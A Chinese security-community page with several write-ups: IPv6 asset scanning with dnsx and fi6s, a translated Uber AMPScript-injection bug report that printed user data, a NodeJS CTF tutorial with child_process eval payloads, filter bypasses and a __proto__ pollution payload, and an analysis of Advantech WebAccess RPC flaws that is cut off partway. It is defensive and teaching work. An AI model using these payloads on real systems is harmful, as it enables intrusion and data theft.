dig -t AAAA +short [域名]
使用 dnsx 进行查询
echo ip.sb | dnsx -silent -aaaa
echo ip.sb | dnsx -silent -aaaa -resp-only
dnsx -aaaa -o output.txt -l input.txt
## 通过搜索引擎查找
目前各大搜索引擎基本都是支持ipv6的语法的,hunter好像不支持,可惜
**fofa**
* <https://fofa.info/>
is_ipv6=true && country="CN" && port="80" && protocol="http"
**quake**
* <https://quake.360.net/>
is_ipv6:"true" && body:"登录"
**zoomeye**
* <https://www.zoomeye.org/>
ip:"2600:3c00::f03c:91ff:fefc:574a"
## ASN查找
**asnmap**
* <https://github.com/projectdiscovery/asnmap>
echo hackerone.com | ./asnmap -json -silent | jq
有些asn信息会有ipv6地址范围
## ipv6地址扫描
ipv6掩码计算器
* <https://jennieji.github.io/subipv6/>
**fi6s**
* <https://github.com/sfan5/fi6s>
apt install gcc make git libpcap-dev
git clone https://github.com/sfan5/fi6s.git
cd fi6s
make BUILD_TYPE=release
./fi6s -p 80 2001:da8:9000:e013::199:4/115 --randomize-hosts 0
/fi6s -p 80,8000-8100 2001:db8::/120
实际测试速度很快，但是掩码小于/112的情况下，扫描结果数会直线下降,就很难扫出结果
**naabu**
* <https://github.com/projectdiscovery/naabu>
echo "2001:da8:9000:e013::199:4/118" | naabu -iv 6 -p 80 -rate 4000 -retries 3 -c 30 -silent -si 60
扫描速度比fi6s慢很多,但是漏报率低，精准度高.
* * *
# Source & Reference
* <https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/>
* <https://v2ex.com/t/833075>
* <https://blog.yllhwa.com/2022/09/05/利用IPV6绕过B站的反爬/> | 社区文章 |
原文链接：<https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/>
现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中，新资产被迅速部署并暴露于公共互联网，已有资产也在不断发展。
要跟上这个不断变化的攻击面是很难的，更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效，在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。
解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台（Continuous Security
Platform）监控大型攻击面时，经常发现由资产结构变更导致的新的或未发现的漏洞。
这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况：exacttarget-web-hook.uber.com。
很长一段时间，子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天，子域名返回了一个像是Uber消息个性化系统的内部测试响应：
> Assetnote CS在<https://exacttarget-web-hook.uber.com/上发现的表单>
乍一看，该应用程序看起来像一个用于测试文本消息的API控制台，该消息包含用户的个性化设置。
我们尝试根据提供的“测试contractKey”来利用API控制台，但失败了。经过一番调查后，我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID，而不是API控制台页面上提供的UUID。在登录后，我们从<https://riders.uber.com/profile的HTML源码中提取到了UUID。>
在使用正确的Uber帐户的UUID填入contactKey参数后，我们能够发送API请求到preview接口：
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
本文前面所示的截图正是API控制台中preview接口返回的“消息”：
%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.
通过调查语法并联想到子域名为exacttarget-web-hook，我们意识到上面的代码实际上是AMPScript。
Salesforce的Marketing
Cloud发明了AMPScript脚本语言，它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中，以控制展示给个人消费者的内容。
AMPScript由ExactTarget开发，在2013年被Salesforce收购。
一开始使用API控制台中提供的示例AMPScript失败了，于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP
GET请求并得到响应内容：
> 运行AMPScript的查询语句：`%%=HTTPGet('https://ipinfo.io')=%%`
很好！我们能够利用任意的AMPScript！但是，我们通过HTTPGet函数发起的请求并非Uber服务器产生的，如上图所示，它来自AS22606
ExactTarget，Inc。
为了演示该漏洞的影响，我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。
通过阅读有关LookupRows函数的AMPScript文档，我们可以写一个这样的AMPScript脚本：
1. 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
2. 将查询结果存储到数组中。
3. 迭代访问数组并打印值。
最终的AMPScript如下：
%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
SET @Row = Row(@prefArray, @i)
SET @ID = Field(@Row, 1)
SET @UUID = Field(@Row, 2)
SET @joinDate = Field(@Row, 3)
SET @email = Field(@Row, 4)
SET @firstName = Field(@Row, 5)
]%%
%%=V(@UUID)=%%
%%=V(@joinDate)=%%
%%=V(@email)=%%
%%=V(@firstName)=%%
%%[
NEXT @i
]%%
当此AMPScript发送请求到preview接口后，响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。
对preview接口的HTTP请求如下：
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
响应（UUID和邮箱地址已打码）：
> Uber返回的所有用户名叫‘Shubs’的数据
如上所示，返回了许多名为Shubs的用户的详细信息（我已修改截图仅展示测试帐户）。攻击者可以编写AMPScript来提取大量的数据，或者搜索Uber数据中名叫XXX的特定人，并提取他们的UUID和电子邮件地址。
这漏洞发现于2017年11月13日。它于11月15日修复，并于12月28日发奖。
作为HackerOne的Hack the
World活动的一部分，我们获得了20,000美元的奖金，并被选为“最具影响力的报告奖”。所有报酬为23,000美元。
谢谢Uber和HackerOne！针对这一问题和Uber安全团队合作得很愉快。
如果您对组织的Assetnote持续安全平台的demo感兴趣，请在[此处](https://assetnote.io/#signup)申请。 | 社区文章 |
# NodeJS从零开始到原型链污染
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
因为近段时间包括去年，在打CTF的时候确实有遇到NodeJS的题目，但是从来没系统学习，所以拿到题很懵。不知道应该从什么地方入手，所以决定去学习一下，但是之前没怎么学过JavaScript，语法之类的更是不懂，所以在此之前，花了三五天的时间，一边做题一边恶补了JavaScript的基础。
才开始写这篇文章。
## NodeJS基础
简单介绍（ ~~多一句嘴，确实是从零基础开始的~~ ）：
> Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境
但是它是由C++开发的，它只是一个JavaScript语言解释器。
REPL环境运行JavaScript的代码
在浏览器的控制台或者node的运行环境都属于REPL运行环境，均可以运行JS代码。
在NodeJS中分为三个模块，分别是：核心模块、自定义模块、第三方模块。
这里提一点，JS代码在编程时，如果需要使用某个模块的功能，那么就需要提前将其导入，与Python类似，只不过在Python中使用import关键字，而JS中使用require关键字。
### 读取文件操作
文件系统模块就是核心模块
var fs = require('fs');//导入fs模块
fs.readFile('./haha.txt','utf8',function(err,data){
console.log(err);
console.log('---分界线----');
console.log(data);
});
console.log("wuhu");
读取文件的操作，在下面CTF例题中会用到。读取文件的各种姿势。
在[这里](http://nodejs.cn/api/fs.html)了解更多读取文件的函数和使用。
### 同步和异步
区别：
> 同步方法： 等待每个操作完成，然后只执行下一个操作
> 异步方式： 从不等待每个操作完成，而是只在第一步执行所有操作
看到一个比较有趣的描述：
> 同步： 可以拿吃饭和看电视来举例子，同步就是先吃完饭，吃完饭后再看电视，不能边看边吃，这就是同步
> 异步： 同样拿上边的例子来说，异步就是边吃饭边看电视，看电视和吃饭同时进行，这样举例就应该很清楚了
还用上面的代码做例子，readFile()是异步操作，所以其运行结果为
同步例子：
var fs = require('fs');//导入fs模块
a = fs.readFileSync('./haha.txt');
console.log(a.toString());
console.log("wuhu");
可以很明显的看出来下面阻塞代码程序是正常的同步加载，代码由上到下执行。上面这个异步（非阻塞）代码程序会先输出下面的console.log()然后才执行回掉函数里的代码。
### 全局变量
1. __dirname：当前模块的目录名。
2. __filename：当前模块的文件名。 这是当前的模块文件的绝对路径（符号链接会被解析）。
3. exports变量是默认赋值给`module.exports`，它可以被赋予新值，它会暂时不会绑定到module.exports。
4. module：在每个模块中， `module` 的自由变量是对表示当前模块的对象的引用。 为方便起见，还可以通过全局模块的 `exports` 访问 `module.exports`。 module 实际上不是全局的，而是每个模块本地的
5. require模块就不多说了，用于引入模块、 JSON、或本地文件。 可以从 node_modules 引入模块。
// 引入 JSON 文件：
const jsonData = require(‘./path/filename.json’);
// 引入 node_modules 模块或 Node.js 内置模块：
const crypto = require(‘crypto’);
自己设置
global.something = 123;
经常使用的全局变量是`__dirname`、`__filename`
### HTTP服务
//引入http核心模块
var http = require('http');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
console.log(res.method);//打印请求的方法
rs.write('hello,world!');//返回数据
rs.end();//断开连接
})
//启动监听
server.listen(4444,function(){
console.log('请访问127.0.0.1:4444');
启动运行该文件，访问指定端口，HTTP服务的网页就显示出来了。
### child_process(创建子进程)
child_process提供了几种创建子进程的方式
> 异步方式：spawn、exec、execFile、fork
> 同步方式：spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解，创建子进程的同步异步方式应该不难理解。
在异步创建进程时，spawn是基础，其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用`child_process.spawnSync()`、`child_process.execSync()` 和
`child_process.execFileSync()` ，同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行，直到子进程退出。
## JavaScript原型链
### 原型和原型链
首先要知道，JavaScript没有父类和子类这个概念，也没有类和实例的区分，而JavaScript中的继承关系则是靠一种很奇怪的“原型链”模式来实现继承。
在次之前，要先搞清楚对象和函数有什么区别和联系。
> 对象是由函数创建的，而函数又是另一种对象。
#### JavaScript中的对象
在JavaScript中几乎所有的事物都是对象，如下代码：
var a = {
"name": "m0re",
"blog": "https://m0re.top"
}
a.name;
a.blog;
console.log(a);
其中访问对像的属性，可以有两种方式：
//例如
a.name;
a["name"];
#### 原型的定义和继承
原型的定义：
> 任何对象都有一个原型对象，这个原型对象由对象的内置属性proto指向它的构造函数的prototype指向的对象，即任何对象都是由一个构造函数创建的
function a(name,age){
this.name = name;
this.age = age;
}
a函数内容是a类的构造函数，其中`this.name`、`this.age`就是a类的属性。
在JavaScript中，声明了一个函数a，然后浏览器就自动在内存中创建一个对象b，a函数默认有一个属性`prototype`指向了这个对象b，b就是函数a的原型对象，简称原型。同时，对象b默认有属性constructor指向函数a。
创建一个对象a，对象a会默认有一个属性 **proto** 指向构造函数A的原型对象b
这里`A.prototype`就指向函数的原型B。则`a.__proto__`是实例化的对象a的一个属性。
在javascript中，一切都是对象，他也只有对象这一种结构。而对象和对象间又存在继承关系。
var test = {
a:1 ,
b: function(){
console.log(this.a);
}
};
var c = Object.create(test);//c继承test
c.a=888;//继承test的变量
c.b();//继承test的函数
> 每个实例对象(object)都有一个私有属性( **proto**
> )指向它的构造函数的原型对象(prototype)，每个实例对象还有一个属性(constructor)指向原型的构造函数。该原型对象也有一个自己的原型对象(
> **proto** )，层层向上直到一个对象的原型对象为null。根据定义，null 没有原型，并作为这个原型链中的最后一个环节。
经过不断调用，最终的原型对象会调用到null，这将作为该原型链的最后一个环节，与之对应的，作为终点的 null 自然也是没有原型对象的。
#### 原型链定义及如何污染
原型链的核心就是依赖对象 **proto**
的指向，当访问的属性在该对象不存在时，就会向上从该对象构造函数的prototype的进行查找，直至查找到Object的原型null为止。
> 由于对象之间存在继承关系，所以当我们要使用或者输出一个变量就会通过原型链向上搜索，当上层没有就会再向上上层搜索，直到指向
> null，若此时还未找到就会返回 undefined
图中的原型链是 cat->Cat.protype->Object.prototype->null
原型链污染就是修改其构造函数中的属性值，使其他通过该构造函数实例化出的对象也具有这个属性的值。
由于对象是无序的，当使用第二种方式访问对象时，只能使用指明下标的方式去访问。
因此我们可以通过 a [“ **proto** “] 的方式去访问其原型对象。
调用对象属性时, 会查找属性，如果本身没有，则会去 **proto**
中查找，也就是构造函数的显式原型中查找，如果构造函数中也没有该属性，因为构造函数也是对象，也有 **proto** ，那么会去 **proto**
的显式原型中查找，一直到null。
p神的文章中提到[JavaScript原型链继承](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript)
## CTF题目实战
### NodeJS简单类型的题目以及常见绕过
搜集了一下，做个总结，方便自己以后查阅。前面的题目没有涉及到原型链污染，不过也是学到了许多知识。
#### web334
源码下载下来后，发现user.js和login.js
其中user.js中发现了用户名和密码
CTFSHOW 123456
然后看到login.js中，
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
其中
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
CTFSHOW 为name，经过name.toUpperCase()处理后变大写。所以此处如果想让用户名为CTFSHOW，就需要控制输入为ctfshow。
所以最后输入用户名为ctfshow 密码为：123456
即可登陆成功getflag
#### web335
参考博客 <https://blog.csdn.net/miuzzx/article/details/111780832>
注释为`/eval`
`eval`是为执行命令的关键词，所以这里猜想是可以进行命令执行。
所以就去`/javascripts/jquery.js`中查找`eval`的语句，但是没get到点。所以看了大师傅的博客，得到了思路。
做的题少就是不行。
然后师傅给了两个payload。
> require( “child_process” ).spawnSync( ‘ls’, [ ‘/‘ ] ).stdout.toString()
> require( “child_process” ).spawnSync( ‘cat’, [ ‘f*’ ] ).stdout.toString()
child_process(子进程)
该模块提供了衍生子进程（以一种与popen(3)类似但不相同的方式）的能力。此功能主要是由 `child_process.spawn()`函数提供。
此处使用同步进程：三个方法，他们会阻塞NodeJS事件循环、暂停任何其他代码的执行，知道衍生的进程退出。
`child_process.spawnSync()`、`child_process.execSync()` 和
`child_process.execFileSync()`
这里学习了两个方法可以用来解答这道题。具体的我将其记录在了NodeJS学习分组文章Day1
这里直接进行
##### 第一种方法
然后cat fl00g.txt即可
还有就是上面那个payload了
总：
> first
> require( “child_process” ).spawnSync( ‘ls’, [ ‘/‘ ] ).stdout.toString()
> require( “child_process” ).spawnSync( ‘cat’, [ ‘f*’ ] ).stdout.toString()
> second
> require(“child_process”).execSync(‘ls’)
> require(“child_process”).execSync(‘cat fl00g.txt’)
##### 第二种方法
参考群里Y4师傅的博客
> global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)
>
> #### web336
>
> ?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()
> ?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ]
> ).stdout.toString()
直接使用这个就可以，但是，我用另一个方法时，发现了过滤。
这里发现使用335的另外两种方法都不行，然后看Y4师傅的姿势，
这里是由好多方法，整理了一下，为方便理解，由易到难来记录。
##### 第一种
读取文件，通过全局变量读取当前目录位置
`__filename`
然后查找资料看看还有什么其他的全局变量
`__dirname` 表示当前执行脚本所在的目录。
1、`global`: nodejs中的顶层对象，相当于前端js的window
2、`__dirname`: 超全局变量/魔术变量，用于获取当前执行文件的所在目录
3、`__filename`: 超全局变量/魔术变量，用于获取当前执行文件的绝对路径
查看当前文件的绝对路径。
然后可以看到文件名，然后读取当前目录下的内容。
使用`fs.readdirSync()`
发现了fl001g.txt
直接读取该文件
##### 第二种
然后根据大佬思路，读取该文件的源码，看看是过滤了什么内容。
payload为
?require("fs").readFileSync('/app/routes/index.js','utf-8')
源码：
var express = require('express');
var router = express.Router(); /* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'});
}else{ res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;
可以看出是在 if(typeof(evalstring)==’string’ && evalstring.search(/exec|load/i)>0){
这里进行过滤，过滤了exec和load，进行编码绕过
在本地测试后发现是可以进行拼接的。
在浏览器中，+会被解析成空格，所以要先将+进行编码。
require("child_process")['exe'%2B'cSync']('ls')
##### 第三种
直接使用
> require( “child_process” ).spawnSync( ‘ls’, [ ‘.’ ] ).stdout.toString()
> require( “child_process” ).spawnSync( ‘cat’, [ ‘fl00g.txt’ ]
> ).stdout.toString()
这个方法正好不在过滤范围内。可以直接使用。
#### web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
这里使用数组绕过MD5比较，还有a和b的长度比较。
最后输出都是`[object Object]flag{xxx}`
所以可以使用数组来绕过。
paylaod：`a[x]=1&b[x]=2`
#### web338(原型链污染)
这个是一道入门题目，源码都给了，在源码中查看，找到了login.js，发现了getflag的关键处。
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
//copy函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
`utils.copy(user,req.body);`利用这里可实现原型链污染，使得`secret`继承`Object.prototype`
payload:`{"username":"admin","password":"pass","__proto__":{"ctfshow":"36dboy"}}`
secret继承了这里的ctfshow的值，所以就刚好使得if语句为true，登录成功。
## 总结
因为是从零基础开始学的NodeJS，所以零碎的基础知识有点多。
## 参考链接
<https://wiki.wgpsec.org/knowledge/ctf/js-prototype-chain-pollution.html>
<https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/>
<https://looaon.com/index.php/%E8%AF%BE%E7%A8%8B%E7%AC%94%E8%AE%B0/1110.html>
<https://xz.aliyun.com/t/7182>
<https://www.kitsch.live/2021/03/14/nodejs%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/>
<https://www.smi1e.top/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/>
<http://purplet.top/2020/07/14/javascript%e5%8e%9f%e5%9e%8b%e3%80%81%e5%8e%9f%e5%9e%8b%e9%93%be%e5%8f%8a%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93/>
<https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#>
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain> | 社区文章 |
**作者：启明星辰ADLab**
**文章来源：[Advantech
WebAccess多个漏洞分析](https://mp.weixin.qq.com/s?__biz=MzAwNTI1NDI3MQ==&mid=2649614384&idx=1&sn=c7eaaff26938d4dc92ef32cd851a1e2d&chksm=83063520b471bc36368de15bf0f195de8bffc6fbb4a6c4cb3648ad4b213872e0d50c2bc5e508&mpshare=1&scene=1&srcid=0820HxxoMQBWllPfsWNVO438&sharer_sharetime=1566286107538&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=7ee95d8bb7f7df5e0ccef7fc7d673498c302f1bdab2a86012a7d8089b909ae048f03157897237ed81df7815c273a5d06c2264855be26ba29e24dfacc861b80fe16153913f8a97555cc072752458ea482&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=eT1pa5S9ibxZcgeIuAzHzpptuOANeJIpacaA65vpHM2sqJemoxAAfF9pdrsRUzQI
"外出")**
Advantech
WebAccess是研华科技开发的完全基于IE浏览器的HMI/SCADA监控软件，其最大特点就是全部的工程项目、数据库设置、画面制作和软件管理都可以通过使用标准的浏览器完成，不仅可以实现系统的远程控制而且还能进行工程的开发和维护。近日ZDI公布了多个WebAccess的漏洞预警(CVE-2019-10985、CVE-2019-10993、CVE-2019-1099、
CVE-2019-6550以及ZDI-19-584 ~ ZDI-19-623、ZDI-19-691)，其中包括多个内存破坏漏洞（ZDI-19-595~
ZDI-19-614）以及栈溢出漏洞（ZDI-19-585、ZDI-19-327~ZDI-19-330、ZDI-19-325、ZDI-19-323、ZDI-19-592、ZDI-19-594、ZDI-19-589、ZDI-19-588、ZDI-19-586)，部分内存破坏漏洞可以在受影响的系统中执行任意代码，但是大部分内存破坏漏洞利用条件较为苛刻。同时，由于Advantech
WebAccess许多模块并没有开启ASLR、DEP等系统相关安全机制，使得栈溢出等漏洞在受影响的系统中容易造成代码执行。
### Advantech WebAccess历史漏洞统计情况
通过追踪CVE漏洞数据库中的Advantech
WebAccess历史漏洞，启明星辰ADLab发现从2011年到2019年合计有134个漏洞被披露。图1是我们统计的每一年的漏洞披露数量：
图1 Advantech WebAccess历年CVE漏洞数量情况
从图中可以看出，其漏洞数量总体上随着年份上下波动。2014年出现一次井喷达到26个，而2015年漏洞披露只有5个，随后出现逐年上升趋势。我们对WebAccess的漏洞类型信息进行了梳理，如图2：
图2 Advantech WebAccess历年漏洞类型比例图
从图中可以看出WebAccess的历史漏洞类型比较丰富，包括了缓冲区溢出、SQL注入、XSS、权限管理不当、敏感信息泄露、代码\命令执行等。其中缓冲区溢出类型漏洞最多，占到漏洞总数的1/3以上；其次是权限管理类漏洞（11.94%）、敏感信息泄露(8.96%)、SQL注入（8.21%）。由此可以看出，WebAccess的漏洞面较为广泛。
为了分析WebAccess漏洞类型的演变趋势，我们对其历年不同漏洞类型的数量进行了梳理，如图3：
图3 Advantech WebAccess历年漏洞类型数量
从图中可以看出，WebAccess的漏洞类型趋势没有明显变化，其中缓冲区溢出漏洞和权限管理漏洞在经历2014年井喷后仍然没有得到有效缓解，代码\命令执行漏洞从2018年开始增多。
### Advantech WebAccess Node多个ZDI漏洞分析
在ZDI披露的Advantech WebAccess Node的漏洞中，大部分都存在于webvrpcs.exe中的RPC通讯模块。RPC（Remote
Procedure
Call）即远程过程调用，是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在，如TCP或UDP，为通信程序之间携带信息数据。RPC协议屏蔽了编程语言之间的特性差异，广泛应用于分布式系统中，在工业控制DCS系统中也被广泛应用。
对Advantech WebAccess Node分析发现，其采用RPC协议来实现ODBC
和一些控制台命令。但在具体功能实现时缺乏相应的安全检查，导致产生了命令执行、内存破坏等多个漏洞。我们对这些漏洞进行了分析，其中典型漏洞（CVE-2017-16720、CVE-2019-10993、CVE-2019-10991）的分析如下。
#### 1、CVE-2017-16720命令执行漏洞
在该漏洞位于webvrpcs程序的RPC IOCTL code 0x2711功能实现。在一定条件下可利用该漏洞在安装有Advantech
WebAccess的系统上执行任意命令。该漏洞的EXP已被公开，核心代码如图4所示：
图4 CVE-2017-16720利用代码
为了分析该漏洞的代码路径，先用IDA打开webvrpcs.exe，然后通过mida插件提取出其RPC接口，可以看到opcode
0x1对应的处理函数为sub_401260。
图5 webvrpcs.exe使用IDA mida插件分析RPC接口
sub_401260（图6所示伪代码）首先对RPC消息的头部数据进行处理，然后调用sub_402c60函数。sub_402c60函数最终调用DsDaqWebService函数（如图7所示），而DsDaqWebService函数源于动态链接库drawsrv.dll。用IDA打开drawsrv.dll并定位到函数DsDaqWebService，DsDaqWebService函数实现了各个不同IOCTL
code的功能，而0x2711对应的处理函数为sub_100017B0。
图6 函数sub_401260伪代码
图7 函数DsDaqWebService伪代码
分析sub_100017B0（图8所示），该函数中调用了CreateProcessA()函数创建进程。其中lpCommandLine参数由RPC客户端发送，且此处未对此参数进行任何检查。因此，可以通过控制该参数使得CreateProcessA()执行任意命令，从而导致远程命令执行。
图8 漏洞函数sub_100017B0执行伪代码
该漏洞在WebAccess Node 8.4中得到修复，如图9所示(case 0x2711为补丁前的分支代码，case 1为补丁后的分支代码)
，修复后的IOCTL增加了sub_100022D0函数对用户的输入内容进行检查。具体的检查方式是同白名单进行比较来判断参数是否合法。
图9 IOCTL code 0x2711补丁前后伪代码
同样类型的漏洞还有CVE-2019-10985，该漏洞触发点位于IOCTL code
0x2715功能实现。该功能是通过unlink删除指定文件，而文件名可以由RPC客户端任意指定。由于对参数没有任何过滤，可以设置该参数为任意文件路径，从而导致任意文件删除漏洞。
#### 2、CVE-2019-10993指针解引用漏洞
该漏洞同样也是位于webvrpcs处理RPC消息的动态链接库drawsrv.dll中，触发点在处理IOCTL code
0x27DB的代码中。如下图10所示：
图10 IOCTL code 0x27DB伪代码
通过分析，Filename变量直接来源于webvrpcs接收的RPC数据，通过修改该Filename的值可以控制SQLFreeConnet的参数。分析SQLFreeConnet函数，其调用了函数FreeIDbc释放连接句柄ConnectionHandle（即SQLFreeConnet参数）。
图11 IOCTL code 0x27DB处理流程
在FreeIDbc函数中，ConnectionHandle会被视为指针类型解引用。因此，通过构造RPC消息可控制指针解引用，从而造成内存访问错误。
图12 FreeIDbc函数处理流程
进一步分析可发现，参数Memory赋值给了v2，在后续的操作中(v2[1]+36)赋值给了v7，后又进行了v7[1]的操作。而Memory受用户输入控制，因此v7[1]写入内存的地址可控，从而形成一个任意地址写漏洞。由于是内存写入操作，精心利用可能造成代码执行。
类似这类指针未校验的漏洞在Advantech WebAccess
Node中还有很多，CVE编号均为CVE-2019-10993，包含多个ZDI漏洞编号(ZDI-19-614 ZDI-19-613 ZDI-19-612
ZDI-19-611 ZDI-19-610 ZDI-19-609 ZDI-19-608 ZDI-19-607 ZDI-19-606 ZDI-19-605
ZDI-19-604 ZDI-19-603 ZDI-19-602 ZDI-19-601 ZDI-19-600 ZDI-19-599 ZDI-19-598
ZDI-19-597 ZDI-19-596
ZDI-19-595)。实际上这类漏洞就是对传入webvrpcs中的DsDaqWebService函数的参数没有进行检查，导致几乎所有的IOCTL code
ODBC类函数都可以产生内存破坏漏洞，如图13所示：
图13 可能造成内存破坏的IOCTL code
该系列漏洞在新版本8.4中得到修复，方式为在调用SQL函数前增加了检验函数(链式校验流程如图15)，判断参数是否合法，如图14所示。
图14 修复后的DsDaqWebService函数
图15 链式校验流程
**3、CVE-2019-10991栈溢出漏洞**
CVE-2019-10991包含了多个栈溢出漏洞，由于这些漏洞的触发条件和产生原因都较为相似，在此仅对其中一个漏洞（ZDI-19-594）进行详细分析。
